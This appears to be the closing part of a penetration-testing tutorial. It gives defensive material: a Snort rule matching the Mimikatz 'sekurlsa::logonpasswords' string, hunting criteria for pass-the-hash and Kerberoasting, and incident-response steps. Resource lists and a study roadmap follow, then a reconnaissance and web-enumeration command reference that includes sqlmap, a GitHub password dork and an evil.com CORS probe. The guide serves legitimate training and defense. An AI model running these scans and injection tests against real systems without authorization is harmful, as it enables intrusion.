Wireshark on key segments: # Capture all traffic on DMZ: tshark -i eth0 -w /var/log/capture.pcap # 4. Intrusion Detection Signatures: # Snort rules: # Example rule to detect Mimikatz: alert tcp any any -> any any (msg:"Mimikatz Activity Detected"; \ content:"sekurlsa::logonpasswords"; nocase; \ sid:1000001; rev:1;) # Suricata rules: # Download ET Open ruleset: suricata-update # 5. Threat Hunting: # Hunt for: Pass-the-Hash attacks # Windows Event ID 4624 (Logon) where: # - Logon Type = 3 (Network) # - Authentication Package = NTLM # - No LogonProcess (indicates PtH) # Hunt for: Kerberoasting # Windows Event ID 4769 where: # - Ticket Encryption Type = 0x17 (RC4) # - Service Name != krbtgt # - Account Name != machine account # Hunt for: PowerShell attacks # Look for: Encoded commands Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; ID=4104} | \ Where-Object {$_.Message -like "*-EncodedCommand*"} # 6. File Integrity Monitoring (FIM): # AIDE (Linux): apt install aide aideinit # Creates database of file hashes # Run regular checks: aide --check # Tripwire (Commercial): # Monitors critical system files for changes # 7. Vulnerability Scanning: # OpenVAS (Free): apt install openvas gvm-setup # Access web UI # Schedule regular scans: # Weekly internal scan # Monthly external scan # Nessus (Commercial): # Download from tenable.com # Schedule automated scans # 8. User Behavior Analytics (UBA): # Monitor for: # - Login from unusual location # - Login at unusual time # - Excessive failed logins # - Privilege escalation # - Large data exfiltration # - Access to sensitive files # 9. Incident Response Playbook: # Detection → Containment → Eradication → Recovery # Phase 1: Detection # Alert triggers (SIEM, IDS, EDR) # Phase 2: Containment # Isolate affected systems: # Network level: VLAN isolation # Host level: Disable network adapter # Phase 3: Analysis # Collect forensic evidence: # Memory dump: # Linux: dd if=/dev/mem of=/tmp/memory.dump # Windows: DumpIt.exe # Or WinPMEM # Disk image: dd if=/dev/sda of=/mnt/evidence/disk.img # Phase 4: Eradication # Remove malware # Patch vulnerabilities # Reset compromised credentials # Phase 5: Recovery # Restore from clean backups # Reimage infected systems # Monitor for re-infection # Phase 6: Lessons Learned # Post-incident report # Update defenses # Train staff # 10. Automation & Orchestration: # SOAR (Security Orchestration, Automation, Response): # Tools: TheHive, Cortex, Shuffle (Free) # Automate: Alert enrichment, threat intel lookup, containment actions # Example automated response: # If [Mimikatz detected]: # - Isolate host # - Kill process # - Dump memory # - Create ticket # - Alert SOC team # - Disable user account

🛡️ Defense in Depth Summary

The 7 Layers of Security:

Layer 1: Policies & Procedures
• Security awareness training
• Incident response plan
• Acceptable use policy
• Password policy

Layer 2: Physical Security
• Locked server rooms
• Badge access
• Security cameras
• Visitor logs

Layer 3: Network Security
• Firewalls (perimeter + internal)
• IDS/IPS (Snort, Suricata)
• Network segmentation (VLANs)
• VPN for remote access

Layer 4: Host Security
• Patch management
• Antivirus/EDR
• Host-based firewall
• Disable unnecessary services

Layer 5: Application Security
• Secure coding practices
• Input validation
• Output encoding
• Regular security testing

Layer 6: Data Security
• Encryption at rest (disk encryption)
• Encryption in transit (TLS/SSL)
• Data classification
• Access controls

Layer 7: Monitoring & Response
• SIEM (centralized logging)
• Threat hunting
• Incident response team
• Regular audits

Golden Rules of Defense:
1. Assume breach - Plan for when (not if) you're compromised
2. Least privilege - Users/services only get minimum required access
3. Defense in depth - Multiple layers of security
4. Patch everything - Stay up to date!
5. Monitor everything - You can't detect what you don't log
6. Backup everything - Test your restores!
7. Train everyone - Users are your first line of defense

Remember: Perfect security doesn't exist. The goal is to make attacks so expensive/difficult that attackers move to easier targets! 🛡️

📖 FINAL COMPREHENSIVE RESOURCE LIST

Books (Must-Reads)

# Pentesting: 1. "The Hacker Playbook 3" - Peter Kim • Practical techniques, RED TEAM focused 2. "Penetration Testing" - Georgia Weidman • Beginner-friendly, comprehensive 3. "Rtfm: Red Team Field Manual" - Ben Clark • Quick reference, fits in pocket! 4. "The Web Application Hacker's Handbook" - Dafydd Stuttard • Bible of web app security 5. "Metasploit: The Penetration Tester's Guide" - David Kennedy • Deep dive into Metasploit 6. "Black Hat Python" - Justin Seitz • Write your own hacking tools! 7. "Hash Crack: Password Cracking Manual" - Joshua Picolet • Master password attacks 8. "Advanced Penetration Testing" - Wil Allsopp • For experienced pentesters # Active Directory: 9. "Attacking Network Protocols" - James Forshaw • Protocol-level attacks 10. "Active Directory Security Assessment" - Sean Metcalf • AD-specific pentesting # Malware/RE: 11. "Practical Malware Analysis" - Michael Sikorski • Reverse engineering malware 12. "The Art of Memory Forensics" - Michael Hale Ligh • Volatility & memory analysis # General Security: 13. "The Art of Exploitation" - Jon Erickson • Binary exploitation, assembly 14. "Applied Cryptography" - Bruce Schneier • Cryptography fundamentals

Video Courses & Channels

# YouTube Channels: 1. IppSec - HTB walkthrough (BEST for OSCP prep!) 2. The Cyber Mentor - TCM Security 3. John Hammond - CTF walkthroughs 4. LiveOverflow - Binary exploitation 5. HackerSploit - Practical pentesting 6. Null Byte - Hacking tutorials 7. David Bombal - Networking & security 8. NetworkChuck - Beginner-friendly # Paid Courses: 1. TCM Security Academy • "Practical Ethical Hacking" course • "Windows Privilege Escalation" • "Linux Privilege Escalation" • PNPT certification 2. Pentester Academy • "Attacking and Defending Active Directory" • CRTP/CRTE certifications 3. Offensive Security • PEN-200 (OSCP) • PEN-300 (OSEP) • PWK course 4. eLearnSecurity / INE • eCPPTv2 • eWPT • eMAPT 5. SANS Institute (Expensive but excellent) • SEC560: Network Penetration Testing • SEC660: Advanced Penetration Testing # Free Courses: 1. Cybrary.it - Various security courses 2. Portswigger Web Security Academy - FREE web app security! 3. OWASP Top 10 training 4. Microsoft Learn - AD security

Communities & Forums

# Discord Servers: 1. HackTheBox Official 2. TryHackMe Official 3. NetSecFocus (OSCP study group!) 4. The Cyber Mentor 5. IppSec Server # Forums & Websites: 1. Reddit: • r/netsec • r/AskNetsec • r/howtohack • r/oscp 2. HackTheBox Forums 3. TryHackMe Discord 4. Offensive Security Forums # Twitter (Follow These): @IppSec - HTB walkthroughs @thecybermentor - TCM Security @0xdf_ - HTB writeups @ropnop - Red teaming @harmj0y - PowerShell/AD attacks @gentilkiwi - Mimikatz author @_RastaMouse - Cobalt Strike/AD @myexploit2600 - Bug bounty @samwcyo - AppSec @HackingDave - Pentesting tips # Blogs (Must-Read): 1. ired.team - Red team techniques 2. pentestmonkey.net - Cheat sheets 3. 0xdf.gitlab.io - HTB writeups 4. hackingarticles.in - Tutorials 5. medium.com/@infosecwriteups 6. pentester.land - Bug bounty 7. hausec.com - Security posts

Practice Labs & Ranges

# Beginner-Friendly: 1. TryHackMe (tryhackme.com) • Start with: "Complete Beginner" path • Then: "Offensive Pentesting" path • Then: "Red Teaming" path 2. HackTheBox Academy (academy.hackthebox.com) • Structured learning paths • Free tier available 3. OverTheWire Wargames (overthewire.org) • "Bandit" - Linux basics • "Natas" - Web security • "Leviathan" - Linux exploitation 4. PicoCTF (picoctf.org) • Capture the Flag for beginners • Great for learning fundamentals # Intermediate: 5. HackTheBox (hackthebox.eu) • Start with: "Starting Point" boxes • Then: "Easy" rated boxes • Active machines + retired (with VIP) 6. Pentester Lab (pentesterlab.com) • Web app focus • "From SQL Injection to Shell" series 7. VulnHub (vulnhub.com) • Download vulnerable VMs • Practice offline • Recommended: Kioptrix series, OSCP-like boxes # Advanced: 8. Proving Grounds (offensive-security.com) • OSCP-style practice • Play (easier) + Practice (harder) 9. HTB Pro Labs • "Dante" - OSCP prep • "RastaLabs" - AD focused • "Offshore" - Advanced 10. Immersive Labs (immersivelabs.com) • Enterprise security training # CTF Platforms: 11. CTFtime.org - Find upcoming CTFs 12. Root-Me (root-me.org) 13. Hacker101 CTF (hacker101.com) 14. W3Challs (w3challs.com) # Bug Bounty Practice: 15. PortSwigger Web Security Academy • FREE web app labs! 16. HackerOne Hacker101 17. Bugcrowd University

🎓 Your Learning Roadmap (Beginner → Expert)

Phase 1: Foundations (Months 1-3):
• Learn Linux basics (OverTheWire: Bandit)
• Learn networking (CompTIA Network+ level)
• TryHackMe: Complete Beginner path
• Read: "The Hacker Playbook 3"
• Practice: 2-3 TryHackMe rooms per week

Phase 2: Core Skills (Months 4-6):
• TryHackMe: Offensive Pentesting path
• HackTheBox: Starting Point + Easy boxes
• Watch: IppSec YouTube (3-5 videos per week)
• Practice: Web app security (PortSwigger Academy)
• Read: "The Web Application Hacker's Handbook"

Phase 3: Intermediate (Months 7-9):
• HackTheBox: Medium boxes
• Focus: Active Directory (TryHackMe AD path)
• VulnHub: OSCP-like machines
• Take: TCM Security PEH course
• Practice: 1 machine per day minimum

Phase 4: OSCP Prep (Months 10-12):
• PWK course + labs (60-90 days)
• Proving Grounds Practice
• Watch: ALL IppSec videos
• Read: OSCP exam reports
• Practice: 2-3 machines per day

Phase 5: OSCP Exam:
• Book exam
• 24 hours: Hack 5 machines
• 24 hours: Write report
• Pass: You're OSCP certified! 🎉

Phase 6: Advanced (Post-OSCP):
• HackTheBox: Hard/Insane boxes
• Red Team ops (HTB Pro Labs)
• Advanced AD (CRTP/CRTE)
• Bug bounties (start earning!)
• Binary exploitation (OSED/OSWE)

Phase 7: Expert (1-2 years):
• OSEP certification
• OSCE3 certification
• Contribute to tools/community
• Write blog posts/tools
• Mentor beginners

Remember: Consistency beats intensity! Practice daily, even if just 30 minutes! 🔥

💀 FINAL WORDS - YOU ARE NOW A HACKER! 🏴‍☠️

🎓 What You've Mastered:

• 50+ Professional Hacking Tools (Nmap, Metasploit, Burp, BloodHound, CrackMapExec, and EVERYTHING else!)
• Complete Pentesting Methodology (14-phase process from reconnaissance to reporting)
• Active Directory Domination (Kerberoasting, DCSync, Golden Tickets, Pass-the-Hash)
• Web Application Hacking (SQL injection, XSS, directory fuzzing, API testing)
• Privilege Escalation Techniques (Linux SUID/sudo, Windows tokens/exploits)
• Network Attacks (MITM, ARP spoofing, packet manipulation, WiFi cracking)
• Password Cracking (Hashcat, John, Hydra, wordlist generation)
• Post-Exploitation (Credential harvesting, lateral movement, persistence)
• Forensics & Reverse Engineering (Volatility, Binwalk, Ghidra)
• Modern C2 Frameworks (Sliver, Empire, Covenant)

📜 Certifications You're Ready For:
• OSCP (Offensive Security Certified Professional): The gold standard!
• PNPT (Practical Network Penetration Tester): AD-focused
• eCPPTv2 (eLearnSecurity Certified PPT): Intermediate level
• CEH (Certified Ethical Hacker): Entry level
• CRTP (Certified Red Team Professional): AD specialization

🏆 Practice Platforms to Conquer:
• HackTheBox: https://hackthebox.eu (Start with "Starting Point"!)
• TryHackMe: https://tryhackme.com (Beginner-friendly paths)
• VulnHub: https://vulnhub.com (Free vulnerable VMs)
• PentesterLab: https://pentesterlab.com (Web app focus)
• OverTheWire: https://overthewire.org (Wargames for Linux)
• Proving Grounds: https://offensive-security.com/labs/ (OSCP-like boxes)

💰 Bug Bounty Platforms (Get Paid to Hack!):
• HackerOne: https://hackerone.com
• Bugcrowd: https://bugcrowd.com
• Intigriti: https://intigriti.com
• Synack: https://synack.com
• Start with: Programs with "Easy" or "Beginner-friendly" tags
• Focus on: XSS, IDOR, open redirects (common + good payouts)

💪 Final Motivational Words:
You now possess knowledge that 99% of people don't have. You understand how systems break, how attackers think, and how to secure networks. This isn't just a skill—it's a SUPERPOWER!

Remember:
• Practice daily: Solve 1 HTB machine per week minimum
• Document everything: Keep notes in CherryTree/Obsidian
• Legal boundaries: ONLY hack systems you own or have written permission!
• Give back: Write writeups, help beginners, contribute to community
• Stay curious: Technology changes fast—keep learning!

The hacking journey never ends. Every system has vulnerabilities. Every network can be compromised. Your job? Find them first. Secure them best. Become the shield AND the sword.

You're ready. For Actual Stuff.

— This guide was created with love for the hacking community. May your shells always be reverse, your escalations always privileged, and your coffee always strong. Happy hacking! ☕💻

🎯 Essential Commands Quick Reference

29 frequently-used commands for pentesting, organized by category.

# ==================== RECONNAISSANCE (Commands 1-15) ==================== # 1. Host discovery nmap -sn 10.10.10.0/24 # 2. Full port scan nmap -p- --min-rate=1000 10.10.10.50 # 3. Detailed service scan nmap -sC -sV -p 22,80,443,445 10.10.10.50 # 4. UDP scan sudo nmap -sU --top-ports 20 10.10.10.50 # 5. Aggressive scan nmap -A 10.10.10.50 # 6. Subdomain enumeration amass enum -d target.com # 7. DNS zone transfer dig axfr @10.10.10.50 target.com # 8. WHOIS lookup whois target.com # 9. TheHarvester (email gathering) theHarvester -d target.com -b all # 10. Shodan search (from website) # https://shodan.io # 11. Certificate transparency logs # https://crt.sh/?q=target.com # 12. Wayback Machine # https://web.archive.org # 13. Google dorking # site:target.com filetype:pdf # 14. LinkedIn reconnaissance # Find employees, technologies used # 15. GitHub search # site:github.com "target.com" password # ==================== WEB ENUMERATION (Commands 16-30) ==================== # 16. Directory fuzzing (Gobuster) gobuster dir -u http://10.10.10.50 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt # 17. Directory fuzzing with extensions gobuster dir -u http://10.10.10.50 -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,js # 18. FFuf directory fuzzing ffuf -u http://10.10.10.50/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt # 19. Virtual host fuzzing ffuf -u http://10.10.10.50 -H "Host: FUZZ.target.com" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs 1234 # 20. Parameter fuzzing ffuf -u http://10.10.10.50/page?FUZZ=value -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt # 21. Nikto web scanner nikto -h http://10.10.10.50 # 22. WhatWeb technology detection whatweb http://10.10.10.50 # 23. Nuclei template scanning nuclei -u http://10.10.10.50 # 24. WPScan (WordPress) wpscan --url http://10.10.10.50 --enumerate vp,vt,u # 25. SQL injection (SQLmap) sqlmap -u "http://10.10.10.50/page.php?id=1" --batch --dbs # 26. XSS testing (Dalfox) dalfox url http://10.10.10.50/search?q=test # 27. CORS misconfiguration test curl -H "Origin: https://evil.com" -I http://10.10.10.50 # 28. Retrieve robots.txt curl http://10.10.10.50/robots.txt # 29. View source for comments curl -s http://10.10.10.50 | grep -i "